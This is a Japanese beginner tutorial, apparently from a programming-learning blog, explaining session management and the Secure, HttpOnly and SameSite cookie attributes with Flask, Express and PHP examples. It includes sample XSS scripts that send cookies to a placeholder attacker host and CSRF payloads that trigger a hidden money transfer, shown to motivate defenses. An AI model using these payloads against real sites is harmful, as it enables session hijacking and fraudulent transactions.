フリーキーズ | 独学プログラミング

セッション管理とクッキー属性を初心者向けに解説!Secure・HttpOnly・SameSiteの基礎

リンドくん

リンドくん

たなべ先生、Webアプリを作っていて「ログイン状態を保つ」って仕組みがよくわからないんです。どうやってサーバは「この人はログイン済み」って覚えているんですか?

たなべ

たなべ

それがセッション管理という仕組みなんだ。
RPGで例えると、冒険者が宿屋で「宿帳に名前を書いて部屋の鍵をもらう」みたいなイメージかな。その鍵がクッキーなんだよ。

リンドくん

リンドくん

なるほど!でも、その鍵を悪い人に盗まれたら大変ですよね?

たなべ

たなべ

まさにそこが重要なポイント!だからクッキーには特別な鍵のかけ方があるんだ。
今日は、Webセキュリティの基本となる「セッション管理」と「クッキー属性」について、初心者の方にもわかりやすく解説していくよ。

Webアプリケーション開発を学び始めると、必ず直面するのがログイン機能の実装です。
「ユーザーがログインした状態を保つ」という、一見当たり前に思える機能ですが、その裏側ではセッション管理という重要な仕組みが働いています。

しかし、この仕組みを正しく理解せずに実装すると、深刻なセキュリティの脆弱性を生んでしまう可能性があります。
実際、不適切なセッション管理は、情報漏洩やアカウント乗っ取りといった重大な被害につながるケースが後を絶ちません。

本記事では、Webセキュリティの基礎となるセッション管理の仕組みと、それを守るためのクッキー属性(Secure・HttpOnly・SameSite)について、プログラミング初心者の方でも理解できるよう、段階的に解説していきます。

プログラミング学習でお悩みの方へ

HackATAは、エンジニアを目指す方のためのプログラミング学習コーチングサービスです。 経験豊富な現役エンジニアがあなたの学習をサポートします。

✓ 質問し放題

✓ β版公開中(2025年内の特別割引)

HackATAの詳細を見る

セッション管理とは何か?基本の仕組みを理解しよう

リンドくん

リンドくん

そもそもセッション管理って、なぜ必要なんですか?

たなべ

たなべ

実はHTTPという通信の仕組み自体が「誰が通信しているか覚えていない」んだ。
だから、ログイン状態を保つには特別な工夫が必要なんだよ。

HTTPはステートレスな通信

Webの基本となるHTTP通信には、重要な特徴があります。それはステートレス(状態を持たない)という性質です。

これはどういうことかというと、HTTPでは一つ一つのリクエストが独立しているため、サーバは「さっきアクセスしてきた人と、今アクセスしてきた人が同じ人かどうか」を判別できないのです。

RPGで例えるなら、こんな感じです。

  • ステートレスな宿屋: 冒険者が宿屋に来るたびに、宿屋の主人は「初めまして!」と毎回挨拶する
  • ステートフルな宿屋: 宿屋の主人が「おかえりなさい、たなべさん!いつもの部屋ですね」と覚えている

Webの世界では、このままだとログイン機能が実装できません。ログインしても、次のページに移動した瞬間に「あなたは誰ですか?」と聞かれてしまうからです。

セッション管理の基本的な流れ

この問題を解決するのがセッション管理です。具体的な流れを見ていきましょう。

1. ログイン時の処理

ユーザー: ユーザー名「tanabe」、パスワード「****」でログイン
 ↓
サーバ: 認証成功!セッションIDを発行
       例: session_id = "abc123xyz456"
 ↓
サーバ: このセッションIDをクッキーとしてユーザーのブラウザに送信

2. ログイン後のアクセス

ユーザー: 「マイページを見たい」とリクエスト
 ↓
ブラウザ: 自動的にクッキー(セッションID)をサーバに送信
 ↓
サーバ: セッションIDを確認
       「abc123xyz456はたなべさんのIDだな。OK、マイページを表示しよう」

このように、セッションIDという「通行手形」をやり取りすることで、サーバはユーザーを識別できるようになるのです。

クッキーとは何か?

セッション管理で登場した「クッキー」について、もう少し詳しく見てみましょう。

クッキー(Cookie)とは、Webサイトがブラウザに保存する小さなデータです。
ブラウザは、同じWebサイトにアクセスする際、自動的にこのクッキーをサーバに送信します。

RPGで例えると、以下のようなイメージです。

  • 宿屋の会員カードのようなもの
  • カードには会員番号が書かれている
  • 次回来店時にカードを見せると、宿屋は「この番号の会員さんですね」と確認できる

実際のクッキーの例を見てみましょう。

Set-Cookie: session_id=abc123xyz456; Path=/; HttpOnly; Secure; SameSite=Strict

この1行の中に、セッションIDだけでなく、セキュリティのための重要な設定がたくさん含まれています。これらが、今回のテーマであるクッキー属性なのです。

クッキーを狙う攻撃とは?なぜ属性設定が重要なのか

リンドくん

リンドくん

クッキーに保存されているセッションIDが盗まれたら、どうなるんですか?

たなべ

たなべ

それが大問題なんだ!セッションIDを盗まれると、攻撃者があなたになりすましてログインできてしまうんだよ。
これをセッションハイジャックと呼ぶんだ。

セッションハイジャックの脅威

セッションIDが盗まれると、以下のような被害が発生する可能性があります。

  • アカウントの乗っ取り - 攻撃者がログイン済みの状態でアクセスできる
  • 個人情報の閲覧 - マイページなどの非公開情報が見られる
  • 不正な操作 - 商品購入、設定変更などを勝手に行われる

RPGで例えると、「宿屋の鍵を盗まれて、あなたの部屋に勝手に入られる」ようなものです。

クッキーを狙う主な攻撃手法

クッキー(セッションID)を盗む攻撃には、主に以下のようなものがあります。

1. XSS(クロスサイトスクリプティング)攻撃

悪意のあるJavaScriptをWebページに埋め込み、クッキーを盗み出す攻撃です。

// 攻撃者が埋め込む悪意のあるスクリプト例
<script>
  // クッキーを攻撃者のサーバに送信
  document.location = 'http://____.com/steal?cookie=' + document.cookie;
</script>

2. 中間者攻撃(Man-in-the-Middle)

通信経路上でデータを盗聴し、クッキーを入手する攻撃です。特に暗号化されていない通信(HTTP)では危険性が高まります。

3. CSRF(クロスサイトリクエストフォージェリ)攻撃

ユーザーが意図しない操作を、攻撃者が仕掛けたWebページ経由で実行させる攻撃です。

<!-- 攻撃者が用意した罠ページ -->
<img src="https://____.com/transfer?to=attacker&amount=100000">
<!-- ユーザーがログイン中なら、クッキーが自動送信されて送金が実行される -->

クッキー属性が防御の鍵

これらの攻撃から守るために、クッキーにはセキュリティ属性を設定することができます。それが以下の3つです。

  • Secure属性 - HTTPS通信でのみクッキーを送信(中間者攻撃対策)
  • HttpOnly属性 - JavaScriptからクッキーを読み取れなくする(XSS対策)
  • SameSite属性 - 他サイトからのリクエストにクッキーを含めない(CSRF対策)

これらの属性を適切に設定することが、セキュアなWebアプリケーション開発の基本となります。次のセクションから、それぞれの属性について詳しく見ていきましょう。

Secure属性 - 暗号化通信でのみクッキーを送信

リンドくん

リンドくん

Secure属性って、何を「セキュア」にしてくれるんですか?

たなべ

たなべ

簡単に言うと、「暗号化されていない通信では絶対にクッキーを送らない」という設定なんだ。
これで盗聴のリスクをグッと減らせるよ。

HTTPとHTTPSの違い

まず、通信プロトコルの違いを理解しましょう。

  • HTTP: 暗号化されていない通信(郵便に例えると「ハガキ」)
  • HTTPS: 暗号化された通信(郵便に例えると「封書」)

HTTP通信では、データが平文(誰でも読める状態)でインターネット上を流れます。これは、カフェの無料Wi-Fiなどで通信している場合、同じネットワーク上にいる人がデータを盗聴できてしまうことを意味します。

Secure属性の役割

Secure属性を設定すると、そのクッキーはHTTPS通信でのみサーバに送信されるようになります。

Set-Cookie: session_id=abc123xyz456; Secure

この設定により、以下のような保護が実現されます。

保護されるケース

ユーザー: https://____.com にアクセス(HTTPS)
 ↓
ブラウザ: Secureクッキーを送信 → OK

保護されないケース

攻撃者: http://____.com にユーザーを誘導(HTTP)
 ↓
ブラウザ: Secureクッキーは送信しない → セッションIDは漏れない

実装例

主要なプログラミング言語でのSecure属性の設定方法を見てみましょう。

Python(Flask)の例

from flask import Flask, session

app = Flask(__name__)
app.config['SESSION_COOKIE_SECURE'] = True  # Secure属性を有効化
app.config['SESSION_COOKIE_HTTPONLY'] = True

@app.route('/login', methods=['POST'])
def login():
    # ログイン処理
    session['user_id'] = 'tanabe'
    return 'ログイン成功'

Node.js(Express)の例

const express = require('express');
const session = require('express-session');

const app = express();

app.use(session({
  secret: 'your-secret-key',
  cookie: {
    secure: true,  // Secure属性を有効化
    httpOnly: true,
    sameSite: 'strict'
  }
}));

PHPの例

<?php
session_start();

// Secure属性を設定
session_set_cookie_params([
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict'
]);

$_SESSION['user_id'] = 'tanabe';
?>

注意点

Secure属性を使用する際の注意点は以下の通りです。

  • 開発環境では注意が必要 - ローカル開発(localhost)ではHTTPSを使わないことが多いため、Secure属性を設定するとクッキーが送信されません
  • 必ずHTTPSと併用 - Secure属性だけでは不十分です。Webサイト全体をHTTPSで運用することが前提です
  • HTTPSへのリダイレクト - HTTP でアクセスされた場合は、HTTPS に自動リダイレクトする設定も併せて行いましょう

Secure属性は、通信経路での盗聴から守る基本的な防御策です。現代のWebアプリケーションでは、必ず設定すべき属性と言えるでしょう。

HttpOnly属性 - JavaScriptからのアクセスを防ぐ

リンドくん

リンドくん

HttpOnly属性は何を防いでくれるんですか?

たなべ

たなべ

これはXSS攻撃からクッキーを守るための属性なんだ。
JavaScriptからdocument.cookieでクッキーを読み取れなくするんだよ。

XSS攻撃とクッキー窃取

XSS(クロスサイトスクリプティング)攻撃では、攻撃者が悪意のあるJavaScriptをWebページに埋め込みます。

攻撃例

// 攻撃者が埋め込んだスクリプト
<script>
  // すべてのクッキーを取得
  var cookies = document.cookie;
  
  // 攻撃者のサーバに送信
  fetch('https://____.com/steal', {
    method: 'POST',
    body: cookies
  });
</script>

このスクリプトが実行されると、そのページに設定されているすべてのクッキー(セッションIDを含む)が盗まれてしまいます。

HttpOnly属性の役割

HttpOnly属性を設定すると、そのクッキーはJavaScriptからアクセスできなくなります

Set-Cookie: session_id=abc123xyz456; HttpOnly

この設定により、以下のような保護が実現されます。

HttpOnlyなしの場合

console.log(document.cookie);
// 出力: "session_id=abc123xyz456; other_cookie=value"
// → クッキーが読み取れてしまう

HttpOnlyありの場合

console.log(document.cookie);
// 出力: "other_cookie=value"
// → session_id は表示されない(JavaScriptからアクセス不可)

HttpOnly属性の仕組み

HttpOnly属性が設定されたクッキーは、以下のような特性を持ちます。

  • HTTPリクエストには自動的に含まれる - サーバへの通信では通常通り送信される
  • JavaScriptからは完全に見えない - document.cookieで読み取れない
  • ブラウザの開発者ツールでは確認できる - デバッグ時の確認は可能

RPGで例えると、「宿屋の鍵は持っているけど、盗賊(悪意のあるスクリプト)には見えない魔法がかかっている」ようなイメージです。

実装における注意点

HttpOnly属性を使用する際のポイントは以下の通りです。

すべてのセッションクッキーに設定する

# Python(Flask)の例
app.config['SESSION_COOKIE_HTTPONLY'] = True

APIトークンにも適用を検討する

JavaScriptからアクセスする必要がないトークンには、HttpOnly属性を設定しましょう。

XSS対策は多層防御が基本

HttpOnly属性だけでなく、以下の対策も併せて実施することが重要です。

  • 入力値のサニタイゼーション(無害化) - ユーザー入力を適切にエスケープ
  • Content Security Policy(CSP)の設定 - 実行可能なスクリプトを制限
  • 出力時のエスケープ処理 - HTMLに出力する際の適切な処理
# Pythonでのエスケープ処理例
from markupsafe import escape

user_input = "<script>alert('XSS')</script>"
safe_output = escape(user_input)
# 出力: &lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;

HttpOnly属性は、XSS攻撃によるクッキー窃取を防ぐ最後の砦です。セッション管理においては、必ず設定すべき属性と言えるでしょう。

SameSite属性 - CSRF攻撃から守る最新の防御策

リンドくん

リンドくん

SameSite属性って、他の2つと比べると複雑そうですね...

たなべ

たなべ

確かに少し複雑だけど、「他のサイトからのリクエストにクッキーを含めるかどうか」を制御する属性なんだ。
これでCSRF攻撃を防げるんだよ。

CSRF攻撃とは何か

CSRF(Cross-Site Request Forgery: クロスサイトリクエストフォージェリ)攻撃は、ユーザーが意図しない操作を勝手に実行させる攻撃です。

攻撃シナリオの例

1. ユーザーが銀行サイト(____.com)にログイン中
2. ユーザーが攻撃者の罠サイト(~~~~.com)を訪問
3. 罠サイトに以下のような隠しフォームがある
<!-- 攻撃者が用意した罠ページ -->
<form action="https://____.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="100000">
</form>
<script>
  document.forms[0].submit();  // 自動送信
</script>
4. フォームが自動送信され、ユーザーのセッションクッキーも一緒に送られる
5. 銀行サーバは正規のリクエストと判断し、送金を実行してしまう

この攻撃の怖いところは、ユーザーが何もクリックしなくても、ページを開いただけで実行されてしまう点です。

SameSite属性の3つの値

SameSite属性には、3つの設定値があります。それぞれの挙動を見ていきましょう。

1. SameSite=Strict(最も厳格)

Set-Cookie: session_id=abc123xyz456; SameSite=Strict
  • 同じサイト内のリクエストにのみクッキーを送信
  • 他のサイトからのリクエストには一切送信しない

動作例

OK: ____.com → ____.com(同じサイト内)
NG: ~~~~.com → ____.com(他サイトから)
NG: mail.____.com のリンクから bank.____.com(サブドメイン違い)

メリット: CSRF攻撃を完全に防げる
デメリット: 外部サイトからのリンク経由でアクセスした場合、ログアウト状態になる

2. SameSite=Lax(バランス型)

Set-Cookie: session_id=abc123xyz456; SameSite=Lax
  • 安全なHTTPメソッド(GET)での他サイトからのアクセスは許可
  • POST、PUT、DELETEなど、状態を変更するメソッドでは送信しない

動作例

OK: ____.com の<a href>リンクから ~~~~.com(GETリクエスト)
NG: ____.com の<form>から ~~~~.com(POSTリクエスト)

メリット: CSRF攻撃を防ぎつつ、ユーザビリティも確保
デメリット: GETリクエストでの攻撃には無防備(ただしGETで状態変更すべきではない)

3. SameSite=None(制限なし)

Set-Cookie: session_id=abc123xyz456; SameSite=None; Secure
  • 他サイトからのリクエストでも常にクッキーを送信
  • 必ずSecure属性との併用が必須

動作例

OK: どこからでも送信される

用途: サードパーティクッキーが必要な場合(広告、埋め込みコンテンツなど)
注意: CSRF攻撃のリスクがあるため、別の対策が必要

推奨設定

現代のWebアプリケーションでは、以下の設定が推奨されます。

一般的なWebアプリケーション

Set-Cookie: session_id=abc123xyz456; Secure; HttpOnly; SameSite=Lax

より高いセキュリティが必要な場合(銀行系など)

Set-Cookie: session_id=abc123xyz456; Secure; HttpOnly; SameSite=Strict

ブラウザのデフォルト動作

重要な点として、2020年以降の主要ブラウザは、SameSite属性が未指定の場合、自動的にLaxとして扱います。これは、CSRF攻撃のリスクを減らすための措置です。

ただし、明示的に設定することで以下のメリットがあります。

  • 意図が明確になる - コードレビュー時に設計意図が伝わりやすい
  • 古いブラウザへの対応 - 確実にセキュリティを確保できる
  • 将来の変更に備える - ブラウザの仕様変更に左右されない

SameSite属性は、CSRF攻撃に対する強力な防御策であり、Secure・HttpOnlyと併せて設定することで、セキュアなセッション管理が実現できます。

まとめ

リンドくん

リンドくん

3つの属性の役割がよく分かりました!でも、全部同時に使うんですよね?

たなべ

たなべ

その通り!この3つの属性は、それぞれ異なる攻撃から守ってくれるんだ。
どれか1つだけではなく、すべて設定することが現代のセキュリティの基本だよ。

セッション管理とクッキー属性について、ここまで詳しく見てきました。
最後に、重要なポイントをまとめておきましょう。

属性防ぐ攻撃役割
Secure中間者攻撃(盗聴)HTTPS通信でのみクッキーを送信
HttpOnlyXSS攻撃JavaScriptからクッキーを読み取れなくする
SameSiteCSRF攻撃他サイトからのリクエストにクッキーを含めない

これらはそれぞれ異なる脅威に対応しているため、すべて同時に設定することが重要です。

Webセキュリティは奥深く、学ぶべきことは多いですが、今日学んだセッション管理とクッキー属性は、その基礎となる非常に重要な知識です。

セキュリティは、後から付け足すものではなく、設計段階から組み込むべきものです。
今回学んだクッキー属性の適切な設定は、その第一歩となります。

プログラミング初心者の方も、これからWebアプリケーションを開発する際は、ぜひ今日学んだ内容を実践してみてください。
セキュリティを意識した開発は、ユーザーの信頼を守ることにつながります。

この記事をシェア

関連するコンテンツ